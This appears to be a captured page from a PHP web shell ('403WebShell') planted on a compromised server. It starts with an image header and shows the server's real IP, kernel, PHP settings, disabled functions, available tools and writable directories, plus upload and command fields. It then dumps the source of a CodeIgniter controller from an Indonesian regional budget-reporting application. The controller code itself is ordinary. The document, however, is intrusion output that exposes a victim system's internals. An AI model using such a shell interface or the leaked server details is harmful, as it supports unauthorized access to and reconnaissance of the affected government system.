���� JFIF    �� 403WebShell
403Webshell
Server IP : 103.65.238.20  /  Your IP : 10.0.0.10
Web Server : Apache
System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 7.3.32
Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/prp2_toba/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/prp2_toba/Skpd.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Skpd extends CI_Controller
{
    public function __construct()
    {
        parent::__construct();
        $this->load->library('PHPExcel');
        $this->load->model('M_fungsi', 'fungsi');
        $this->user = is_logged_in();
        $this->akses = cek_akses_user();
    }

    public function index()
    {
        if ($this->akses['akses'] == 'Y') {
            $data = [
                "menu_active" => "upload_data",
                "submenu_active" => "upload-lra-opd"
            ];
            $this->load->view('upload_lra/skpd/view', $data);
        } else {
            redirect(site_url('blocked'));
        }
    }


    public function load()
    {
        if ($this->akses['akses'] == 'Y') {
            $tahun = $this->input->post('tahun');
            if ($this->user['is_skpd'] == 'Y') {
                $user = $this->mquery->select_id('users', ['id_user' => $this->user['user']]);
                $result = $this->mquery->select_by("data_skpd", ['id_skpd'=>$user['id_skpd']]);
            } else {
                $result = $this->mquery->select_data("data_skpd", "id_skpd ASC");
            }
            $data = [];
            $no = 0;
            foreach ($result as $r) {
                $encrypt_id = encrypt_url($r['id_skpd']);

                $result_realisasi = 0;
                $where = array('id_skpd' => $r['id_skpd'], 'tahun' => $tahun, 'st_data' => 2);
                $result_max = $this->mquery->max_data_where("log_upload", "bulan", $where);

                $row_log_upload = $this->mquery->select_id('log_upload', ['id_skpd' => $r['id_skpd'], 'tahun' => $tahun, 'st_data' => 2, 'bulan' => $result_max['bulan']]);
            
                $row_users = $this->mquery->select_id('users', ['id_user' => $row_log_upload['user_input']]);
                
                $nama_skpd = "<a href=" . base_url("upload-lra-opd/detail/" . $tahun . '/' .$encrypt_id) . "><h2>" . $r['nama_skpd'] . "</h2></a>";
                
                $cek_papbd = $this->mquery->select_id('setting_anggaran', ['tahun' => $tahun]);
                $tgl_papbd=$cek_papbd['papbd'];
                $tanggal_data=$row_log_upload['tgl_data'];

                if($tanggal_data<$tgl_papbd){$hsl_stanggaran=1;}
                else{$hsl_stanggaran=2;}

                $row_data_uraian_belanja = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $r['id_skpd'], 'kode_rekening' => 5,'st_anggaran' => $hsl_stanggaran, 'tahun' => $tahun]);
                $total_belanja=$row_data_uraian_belanja['anggaran'];
                $row_data_uraian_pendapatan = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $r['id_skpd'], 'kode_rekening' => 4,'st_anggaran' => $hsl_stanggaran, 'tahun' => $tahun]);
                $total_pendapatan=$row_data_uraian_pendapatan['anggaran'];
                
                $row_realisasi_pendapatan = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_skpd' => $r['id_skpd'], 'tahun' => $tahun, 'bulan' => $result_max['bulan'], 'kode_rekening' => 4]);
                $row_realisasi_belanja = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_skpd' => $r['id_skpd'], 'tahun' => $tahun, 'bulan' => $result_max['bulan'], 'kode_rekening' => 5]);
               
                if($total_belanja==0){$persen_total_belanja=0;}
                else{$persen_total_belanja = round(($row_realisasi_belanja['realisasi'] / $total_belanja * 100), 2);;}

                if($total_pendapatan==0){$persen_total_pendapatan=0;}
                else{$persen_total_pendapatan = round(($row_realisasi_pendapatan['realisasi'] / $total_pendapatan * 100), 2);}

                $tampil_pendapatan = "<table class='table-detail' style='width:100%;'>
                    <tr><td>Target</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($total_pendapatan) . "</td></tr>
                    <tr><td>Realisasi</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_realisasi_pendapatan['realisasi']) . "</td></tr>
                    <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_pendapatan . "%</td></tr>
                </table>";

                $tampil_belanja = "<table class='table-detail' style='width:100%;'>
                    <tr><td>Anggaran</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($total_belanja) . "</td></tr>
                    <tr><td>Realisasi</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_realisasi_belanja['realisasi']) . "</td></tr>
                    <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_belanja . "%</td></tr>
                </table>";

                $row_serapan_belanja = $this->mquery->select_id('data_serapan_skpd', ['id_skpd' => $r['id_skpd'], 'tahun' => $tahun, 'bulan' => $result_max['bulan'], 'kode_rekening' => 5]);
                if($total_belanja==0){$persen_total_serapan=0;}
                else{$persen_total_serapan = round(($row_serapan_belanja['realisasi'] / $total_belanja * 100), 2);}
                
                $detail_serapan = "<a href=" . base_url("upload-lra-opd/serapan/detail2/" .$encrypt_id."/". $tahun. "/". $result_max['bulan']) . ">Detail</a>";
                
                $tampil_serapan = "<table class='table-detail' style='width:100%;'>
                    <tr><td>Serapan</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_serapan_belanja['realisasi']) . "</td></tr>
                    <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_serapan . "%</td></tr>
                    <tr><td></td><td style='text-align:right; font-weight:bold;'>".$detail_serapan."</td></tr>
                </table>";
                
                $no++;
                $row = [
                    'no' => $no,
                    'nama_skpd' => $nama_skpd,
                    'bulan' => bulan($result_max['bulan']),
                    'pendapatan' => $tampil_pendapatan,
                    'belanja' => $tampil_belanja,
                    'serapan' => $tampil_serapan,
                    'tanggal_data' => $row_log_upload['tgl_data'],
                    'user_input' => $row_users['username']
                ];
                $data[] = $row;
            }
            $output['data'] = $data;
            echo json_encode($output);
        } else {
            $data = ['status' => FALSE, 'pesan' => 'blocked'];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        }
    }

    public function detail($tahun, $encrypt_id)
    {
        $id_skpd = decrypt_url($encrypt_id);
        $skpd = $this->mquery->select_id('data_skpd', ['id_skpd' => $id_skpd]);
        $data = [
            "menu_active" => "upload_data",
            "submenu_active" => "upload-lra-opd",
            "skpd" => $skpd,
            "tahun" => $tahun
        ];
        $this->load->view('upload_lra/skpd/view_detail', $data);
    }

    public function load_apbd()
    {
        //$tahun=2022;
        $tahun = $this->input->post('tahun');
        $skpd = $this->input->post('id');
        $encrypt_id = encrypt_url($skpd);
        $result = $this->mquery->select_by('log_upload', ['id_skpd' => $skpd, 'tahun'=> $tahun, 'st_data'=> 2], "bulan ASC");
        $data = [];
        $no = 0;
        $tahun_now=date('Y');
        foreach ($result as $r) {
            $no++;
            $nama_bulan = "<a href=" . base_url("upload-lra-opd/detail2/" .$encrypt_id."/". $tahun. "/". $r['bulan']) . ">" . bulan($r['bulan']) . "</a>";
            
            $cek_papbd = $this->mquery->select_id('setting_anggaran', ['tahun' => $tahun]);
            $tgl_papbd=$cek_papbd['papbd'];
            $tanggal_data=$r['tgl_data'];

            if($tanggal_data<$tgl_papbd){$hsl_stanggaran=1;}
            else{$hsl_stanggaran=2;}

            $row_data_uraian_belanja = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $skpd, 'kode_rekening' => 5,'st_anggaran' => $hsl_stanggaran, 'tahun' => $tahun]);
            $total_belanja=$row_data_uraian_belanja['anggaran'];
            $row_data_uraian_pendapatan = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $skpd, 'kode_rekening' => 4,'st_anggaran' => $hsl_stanggaran, 'tahun' => $tahun]);
            $total_pendapatan=$row_data_uraian_pendapatan['anggaran'];
            
            $row_realisasi_pendapatan = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_skpd' => $skpd, 'tahun' => $tahun, 'bulan' => $r['bulan'], 'kode_rekening' => 4]);
            $row_realisasi_belanja = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_skpd' => $skpd, 'tahun' => $tahun, 'bulan' => $r['bulan'], 'kode_rekening' => 5]);
            $row_users = $this->mquery->select_id('users', ['id_user' => $r['user_input']]);
            
            if($total_belanja==0){$persen_total_belanja=0;}
            else{$persen_total_belanja = round(($row_realisasi_belanja['realisasi'] / $total_belanja * 100), 2);}
            if($total_pendapatan==0){$persen_total_pendapatan=0;}
            else{$persen_total_pendapatan = round(($row_realisasi_pendapatan['realisasi'] / $total_pendapatan * 100), 2);}

            $tampil_pendapatan = "<table class='table-detail' style='width:100%;'>
                <tr><td>Target</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($total_pendapatan) . "</td></tr>
                <tr><td>Realisasi</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_realisasi_pendapatan['realisasi']) . "</td></tr>
                <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_pendapatan . "%</td></tr>
            </table>";

            $tampil_belanja = "<table class='table-detail' style='width:100%;'>
                <tr><td>Anggaran</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($total_belanja) . "</td></tr>
                <tr><td>Realisasi</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_realisasi_belanja['realisasi']) . "</td></tr>
                <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_belanja . "%</td></tr>
            </table>";

            $row_serapan_belanja = $this->mquery->select_id('data_serapan_skpd', ['id_skpd' => $skpd, 'tahun' => $tahun, 'bulan' => $r['bulan'], 'kode_rekening' => 5]);
            if($total_belanja==0){$persen_total_serapan=0;}
            else{$persen_total_serapan = round(($row_serapan_belanja['realisasi'] / $total_belanja * 100), 2);}
            
            $detail_serapan = "<a href=" . base_url("upload_lra/serapan/detail2/" .$encrypt_id."/". $tahun. "/". $r['bulan']) . ">Detail</a>";
            
            $tampil_serapan = "<table class='table-detail' style='width:100%;'>
                <tr><td>Serapan</td><td style='text-align:right; font-weight:bold;'>Rp" . format_rupiah($row_serapan_belanja['realisasi']) . "</td></tr>
                <tr><td>Persen</td><td style='text-align:right; font-weight:bold;'>" . $persen_total_serapan . "%</td></tr>
                <tr><td></td><td style='text-align:right; font-weight:bold;'>".$detail_serapan."</td></tr>
            </table>";

            if(empty($r['namafile']))
            {
                $tgl_data=str_replace("-","",$r['tanggal_input']);
                $tgl_data=str_replace(":","",$tgl_data);
                $tgl_data=str_replace(" ","-",$tgl_data);
                $nama_file=$skpd."-lra-".$tgl_data.".xls";
                //$nama_file=cek_file_excel($namafile);
            }
            else
            {
                $nama_file = "<a href=" . base_url("uploads/berkas/excel/" . $r['namafile']) . ">" . $r['namafile'] . "</a>";
            }

            if($tahun_now==$tahun)
            {
                if ($this->akses['hapus'] == 'Y') 
                    {$delete = action_delete(encrypt_url($r['id_log']));}
                else{$delete = "-";}
            }
            else
            {
                if ($this->akses['hapus_1'] == 'Y') 
                    {$delete = action_delete(encrypt_url($r['id_log']));}
                else{$delete = "-";}
            }

            $row = [
                'no' => $no,
                'tahun' => $tahun,
                'bulan' => $nama_bulan,
                'pendapatan' => $tampil_pendapatan,
                'belanja' => $tampil_belanja,
                'serapan' => $tampil_serapan,
                'tanggal_data' => "Data:".$r['tgl_data']."<br>Input:".$r['tanggal_input']."<br>File:".$nama_file,
                'user_input' => $row_users['username'],
                'opsi' => $delete
            ];
            
            $data[] = $row;
        }

        $output['data'] = $data;
        echo json_encode($output);
    }

    public function detail2($encrypt_id, $tahun, $bulan)
    {
        $id_skpd = decrypt_url($encrypt_id);
        $row_log_upload = $this->mquery->select_id('log_upload', ['id_skpd' => $id_skpd, 'tahun' => $tahun, 'bulan' => $bulan, 'st_data' => 2]);
        $skpd = $this->mquery->select_id('data_skpd', ['id_skpd' => $id_skpd]);
        $data = [
            "menu_active" => "upload_data",
            "submenu_active" => "upload-lra-opd",
            "skpd" => $skpd,
            "tahun" => $tahun,
            "bulan" => $bulan,
            "nama_periode" => $this->fungsi->nama_bulan($row_log_upload['tgl_data'])
        ];
        $this->load->view('upload_lra/skpd/view_detail2', $data);
    }

    public function load_apbd2()
    {
        //$tahun=2022;
        $skpd = $this->input->post('id');
        $bulan = $this->input->post('bulan');
        $tahun = $this->input->post('tahun');
        $encrypt_id = encrypt_url($skpd);
        $result = $this->mquery->select_by('data_realisasi_detail_skpd', ['id_skpd' => $skpd, 'tahun' => $tahun, 'bulan' => $bulan], "kode_rekening ASC");
        $data = [];
        $no = 0;
        $tahun_now=date('Y');
        foreach ($result as $r) {
            $no++;
            $row_anggaran = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $skpd, 'tahun' => $tahun, 'kode_rekening' => $r['kode_rekening']]);
            $row_uraian = $this->mquery->select_id('data_uraian_kegiatan_pemko', ['kode_rekening' => $r['kode_rekening']]);
            
            if($row_anggaran['anggaran']==0){$persen=0;}
            else{$persen=round(($r['realisasi']/$row_anggaran['anggaran']*100),2);}

            if($tahun_now==$tahun)
            {
                if ($this->akses['ubah'] == 'Y') 
                    {$edit = action_edit(encrypt_url($r['id_realisasi']));}
                else{$edit = "-";}

                if ($this->akses['hapus'] == 'Y') 
                    {$delete = action_delete(encrypt_url($r['id_realisasi']));}
                else{$delete = "-";}
            }
            else
            {
                if ($this->akses['ubah_1'] == 'Y') 
                    {$edit = action_edit(encrypt_url($r['id_realisasi']));}
                else{$edit = "-";}

                if ($this->akses['hapus_1'] == 'Y') 
                    {$delete = action_delete(encrypt_url($r['id_realisasi']));}
                else{$delete = "-";}
            }

            $row = [
                'no' => $no,
                'tahun' => $tahun,
                'bulan' => bulan($bulan),
                'kode_rekening' => $r['kode_rekening'],
                'uraian' => $row_uraian['uraian'],
                'anggaran' => format_rupiah($row_anggaran['anggaran']),
                'realisasi' => format_rupiah($r['realisasi']),
                'persen' => format_rupiah($persen)." %",
                'opsi' => $edit . ' ' . $delete
            ];
            
            $data[] = $row;
        }

        $output['data'] = $data;
        echo json_encode($output);
    }

    public function form_upload()
    {
        $id_skpd = htmlspecialchars($this->input->post('skpd', TRUE));
        $data = [
            'id_skpd' => $id_skpd
        ];
        $this->load->view('upload_lra/skpd/form_upload', $data);
    }

    function upload()
    {
        $post = $this->input->post(null, TRUE);
        $id_skpd = htmlspecialchars($post['id_skpd']);
        $object = new PHPExcel();
        $new_file = "";

        $config['upload_path'] = "./uploads/berkas/excel/";
        $config['allowed_types'] = 'xls';
        $config['file_name'] = $id_skpd . '_lra_' . date("Ymd-His");
        $config['max_size'] = 512;

        $this->load->library('upload', $config);
        if (!$this->upload->do_upload('file_upload')) {
            $errors = [
                'file_upload' => $this->upload->display_errors()
            ];
            $data = ['status' => FALSE, 'errors' => $errors, 'pesan' => 'Data Gagal Disimpan'];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        } else {
            $upload = $this->upload->data();
            $new_file = $upload['file_name'];


            if ($new_file != "" || $new_file != NULL) {
                $excelreader     = new PHPExcel_Reader_Excel5();
                $loadexcel         = $excelreader->load('./uploads/berkas/excel/' . $new_file);
                $sheet = $loadexcel->getActiveSheet()->toArray(null, true, true, true);
                
                $numrow = 0;
                $cek_validasi=0;
                foreach ($sheet as $row) {
                    if ($numrow > 10) {
                        $cek_D = strlen($row['D']);
                        if ($cek_D != 0) {
                            if ($row['H']== "BELANJA DAERAH"){$cek_validasi=1;}
                        }
                    }
                    $numrow++;
                }

                if($cek_validasi==0)
                {
                    $errors = [
                        'data error' => 'data error'
                    ];
                    $data = ['status' => FALSE, 'errors' => $errors, 'pesan' => 'Format Tidak Sesuai'];
                    $this->output->set_content_type('application/json')->set_output(json_encode($data));
                }
                else
                {
                    $this->db->trans_start();
                    $data = array();
                    $numrow = 0;
                    $kode_rekening='';
                    $level='';
                    $anggaran='';
                    $jenis=1;
                    $cek_papbd = $this->mquery->select_id('setting_anggaran', ['tahun' => $post['tahun']]);
                    $tgl_papbd=$cek_papbd['papbd'];
                    $tgl_now=date('Y-m-d');
                    $cek_tanggal=$post['tanggal'];
                    if($cek_tanggal<=$tgl_papbd){$hsl_stanggaran=1;}
                    else{$hsl_stanggaran=2;}
                    $temp_bulan=substr($cek_tanggal,5,2);
                    $hsl_bulan=intval($temp_bulan);
                    foreach ($sheet as $row) {
                        if ($numrow > 10) {
                            $cek_D = strlen($row['D']);
                            if ($cek_D != 0) {
                                $kode_rekening=str_replace(' ','',$row['D']);
                                $cek_koma=strpos($row['Q'],",");
                                if ($cek_koma !== FALSE)
                                {$anggaran = konversi_angka($row['Q']);}
                                else {$anggaran = number_only($row['Q']);}
                                $cek_H = strlen($row['H']);
                                $cek_I = strlen($row['I']);
                                $cek_J = strlen($row['J']);
                                $cek_K = strlen($row['K']);
                                $cek_L= strlen($row['L']);
                                $cek_M= strlen($row['M']);

                                if ($cek_H >= 1){$uraian=$row['H'];$level=1;}
                                elseif ($cek_I >= 1){$uraian=$row['I'];$level=2;}
                                elseif ($cek_J >= 1){$uraian=$row['J'];$level=3;}
                                elseif ($cek_K >= 1){$uraian=$row['K'];$level=4;}
                                elseif ($cek_L >= 1){$uraian=$row['L'];$level=5;}
                                elseif ($cek_M >= 1){$uraian=$row['M'];$level=6;}
                                else {$uraian="";$level=7;}
    
                                if ($row['H']== "BELANJA DAERAH"){$jenis=2;}
                                if ($row['I']== "PENERIMAAN PEMBIAYAAN"){$jenis=3;}
                                if ($row['I']== "PENGELUARAN PEMBIAYAAN"){$jenis=4;}
                                
                                $array_alokasi_skpd =  [
                                    'id_skpd' => $id_skpd,
                                    'kode_rekening' => $kode_rekening,
                                    'level' => $level,
                                    'anggaran' => $anggaran,
                                    'jenis' => $jenis,
                                    'tahun' => $post['tahun'],
                                    'st_anggaran' => $hsl_stanggaran
                                ];

                                $update_alokasi_skpd =  [
                                    'anggaran' => $anggaran
                                ];

                                $cek_jml_data2 = $this->mquery->count_data('data_uraian_kegiatan_skpd', ['id_skpd' => $id_skpd, 'kode_rekening' => $kode_rekening, 'tahun' => $post['tahun'], 'st_anggaran' => $hsl_stanggaran]);
                                if($cek_jml_data2==0)
                                {
                                    $this->db->insert('data_uraian_kegiatan_skpd', $array_alokasi_skpd);
                                }
                                else
                                {
                                    $this->db->update('data_uraian_kegiatan_skpd', $update_alokasi_skpd, ['id_skpd' => $id_skpd, 'kode_rekening' => $kode_rekening, 'tahun' => $post['tahun'], 'st_anggaran' => $hsl_stanggaran]);
                                }
                            }
                        }
                        $numrow++;
                    }
                    
                    $this->db->trans_complete();
                    $res = $this->db->trans_status();

                    $this->db->trans_start();
                    $this->db->delete('data_realisasi_detail_skpd', ['id_skpd' => $id_skpd, 'tahun' => $post['tahun'], 'bulan' => $hsl_bulan]);
                    $this->db->delete('data_serapan_skpd', ['id_skpd' => $id_skpd, 'tahun' => $post['tahun'], 'bulan' => $hsl_bulan]);
                    $this->db->delete('log_upload', ['id_skpd' => $id_skpd, 'tahun' => $post['tahun'], 'bulan' => $hsl_bulan, 'st_data' => 2]);
                
                    $data = array();
                    $numrow = 0;
                    $kode_rekening='';
                    $realisasi='';
                    $serapan='';
                    foreach ($sheet as $row) {
                        if ($numrow > 10) {
                            $cek_D = strlen($row['D']);
                            if ($cek_D != 0) {
                                $kode_rekening=$row['D'];
                                $row_uraian = $this->mquery->select_id('data_uraian_kegiatan_skpd', ['id_skpd' => $id_skpd, 'tahun' => $post['tahun'], 'kode_rekening' => $kode_rekening]);
                                $nilai_anggaran=$row_uraian['anggaran'];
                                $cek_koma=strpos($row['R'],",");
                                if ($cek_koma !== FALSE)
                                {$realisasi = konversi_angka($row['R']);}
                                else {$realisasi = number_only($row['R']);}
                                if($realisasi==0){$persen=0;}
                                else
                                {
                                    if($nilai_anggaran==0){$persen=0;}
                                    else{
                                        $temp_persen=$realisasi/$nilai_anggaran*100;
                                        $persen=round($temp_persen,2);
                                    }
                                }
                                $array_realisasi =  [
                                    'id_skpd' => $id_skpd,
                                    'kode_rekening' => $kode_rekening,
                                    'realisasi' => $realisasi,
                                    'persen' => $persen,
                                    'tahun' => $post['tahun'],
                                    'bulan' => $hsl_bulan
                                ];
                                $this->db->insert('data_realisasi_detail_skpd', $array_realisasi);
                                $cek_koma=strpos($row['T'],",");
                                if ($cek_koma !== FALSE)
                                {$serapan = konversi_angka($row['T']);}
                                else {$serapan = number_only($row['T']);}
                                if($serapan==0){$persen1=0;}
                                else
                                {
                                    if($nilai_anggaran==0){$persen1=0;}
                                    else{
                                        $temp_persen1=$serapan/$nilai_anggaran*100;
                                        $persen1=round($temp_persen1,2);
                                    }
                                }
                                $array_serapan =  [
                                    'id_skpd' => $id_skpd,
                                    'kode_rekening' => $kode_rekening,
                                    'realisasi' => $serapan,
                                    'persen' => $persen1,
                                    'tahun' => $post['tahun'],
                                    'bulan' => $hsl_bulan
                                ];
                                $this->db->insert('data_serapan_skpd', $array_serapan);
                            }
                        }
                        $numrow++;
                    }

                    $array_tanggal =  [
                        'tahun' => $post['tahun'],
                        'bulan' => $hsl_bulan,
                        'id_skpd' => $id_skpd,
                        'st_data' => 2,
                        'tgl_data' => $post['tanggal'],
                        'tanggal_input' => date('Y-m-d H:i:s'),
                        'user_input' => $this->user['user'],
                        'namafile' => $new_file
                    ];
                    $this->db->insert('log_upload', $array_tanggal);

                    $this->db->trans_complete();
                    $res = $this->db->trans_status();

                    $data = ['status' => TRUE, 'notif' => $res];
                    $this->output->set_content_type('application/json')->set_output(json_encode($data));
                }
            }
        }     
    }

    function delete()
    {
        $id = htmlspecialchars($this->input->post('id', TRUE));
        $id_log = decrypt_url($id);
        if ($id_log == "error") {
            $data = ['notif' => FALSE, 'pesan' => "blocked"];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        } else {
            $temp = $this->mquery->select_id('log_upload', ['id_log' => $id_log]);
            $string = ['log_upload' => $temp];
            $log = simpan_log("delete log_upload", json_encode($string));
            $res = $this->mquery->delete_data('log_upload', ['id_log' => $id_log], $log);
            $data = ['notif' => $res];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        }
    }

    public function form()
    {
        $opsi = htmlspecialchars($this->input->post('opsi', TRUE));
        $id_skpd = htmlspecialchars($this->input->post('id_skpd', TRUE));
        $tahun = htmlspecialchars($this->input->post('tahun', TRUE));
        $bulan = htmlspecialchars($this->input->post('bulan', TRUE));
        if ($opsi == "add") {
            $data = [
                "skpd" => $this->mquery->select_id('data_skpd', ['id_skpd' => $id_skpd]),
                "uraian" => $this->mquery->select_data('data_kode_rekening'),
                "tahun" => $tahun,
                "bulan" => $bulan
            ];
            $this->load->view('upload_lra/skpd/form_add', $data);
        } elseif ($opsi == "edit") {
            $encrypt_id = htmlspecialchars($this->input->post('id', TRUE));
            $id_no = decrypt_url($encrypt_id);
            $data_realisasi = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_realisasi' => $id_no]);
            $data = [
                "data_realisasi" => $data_realisasi,
                "skpd" => $this->mquery->select_id('data_skpd', ['id_skpd' => $data_realisasi['id_skpd']]),
                "uraian" => $this->mquery->select_data('data_kode_rekening')
            ];
            $this->load->view('upload_lra/skpd/form_edit', $data);
        } else {
            $this->load->view('blocked');
        }
    }

    private function _rule_form()
    {
        $this->form_validation->set_rules('id_skpd', 'Satuan kerja', 'required|trim');
        $this->form_validation->set_rules('tahun', 'Tahun', 'required|trim');
        $this->form_validation->set_rules('bulan', 'bulan', 'required|trim');
        $this->form_validation->set_rules('id_uraian', 'Uraian', 'required|trim');
        $this->form_validation->set_rules('realisasi', 'realisasi', 'required|trim');
        $this->form_validation->set_message('required', '%s tidak boleh kosong');
    }

    private function _send_error()
    {
        $errors = [
            'id_skpd' => form_error('id_skpd'),
            'tahun' => form_error('tahun'),
            'bulan' => form_error('bulan'),
            'id_uraian' => form_error('id_uraian'),
            'realisasi' => form_error('realisasi')
        ];
        $data = ['status' => FALSE, 'errors' => $errors, 'pesan' => 'Data Gagal Disimpan'];
        $this->output->set_content_type('application/json')->set_output(json_encode($data));
    }

    function add()
    {
        $this->_rule_form();
        if ($this->form_validation->run() == false) {
            $this->_send_error();
        } else {
            $post = $this->input->post(null, TRUE);
            $id_uraian=htmlspecialchars($post['id_uraian']);
            $temp = $this->mquery->select_id('data_kode_rekening', ['id_uraian' => $id_uraian]);
            $realisasi = str_replace(".", "", htmlspecialchars($post['realisasi']));
            $array =  [
                'id_skpd' => htmlspecialchars($post['id_skpd']),
                'kode_rekening' => $temp['kode_rekening'],
                'realisasi' => $realisasi,
                'tahun' => htmlspecialchars($post['tahun']),
                'bulan' => htmlspecialchars($post['bulan'])
            ];

            $string = ['data_realisasi_detail_skpd' => $array];
            $log = simpan_log("insert data_realisasi_detail_skpd", json_encode($string));
            $res = $this->mquery->insert_data('data_realisasi_detail_skpd', $array, $log);
            $data = ['status' => TRUE, 'notif' => $res];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        }
    }

    function edit()
    {
        $this->_rule_form();
        if ($this->form_validation->run() == false) {
            $this->_send_error();
        } else {
            $post = $this->input->post(null, TRUE);
            $id_no = htmlspecialchars($post['id_no']);
            $realisasi = str_replace(".", "", htmlspecialchars($post['realisasi']));
            $array =  [
                'realisasi' => $realisasi
            ];
            $temp = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_realisasi' => $id_no]);
            $string = ['data_realisasi_detail_skpd' => ['old' => $temp, 'new' => $array]];
            $log = simpan_log("update data_realisasi_detail_skpd", json_encode($string));
            $res = $this->mquery->update_data('data_realisasi_detail_skpd', $array, ['id_realisasi' => $id_no], $log);
            $data = ['status' => TRUE, 'notif' => $res];
            $this->output->set_content_type('application/json')->set_output(json_encode($data));
        }
    }

    public function delete_data()
    {
        $encrypt_id = htmlspecialchars($this->input->post('id', TRUE));
        $id_uraian = decrypt_url($encrypt_id);
        $temp = $this->mquery->select_id('data_realisasi_detail_skpd', ['id_realisasi' => $id_uraian]);
        $string = ['data_realisasi_detail_skpd' => $temp];
        $log = simpan_log("delete data_realisasi_detail_skpd", json_encode($string));
        $res = $this->mquery->delete_data('data_realisasi_detail_skpd', ['id_realisasi' => $id_uraian], $log);
        $data = ['status' => TRUE, 'notif' => $res];
        $this->output->set_content_type('application/json')->set_output(json_encode($data));
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit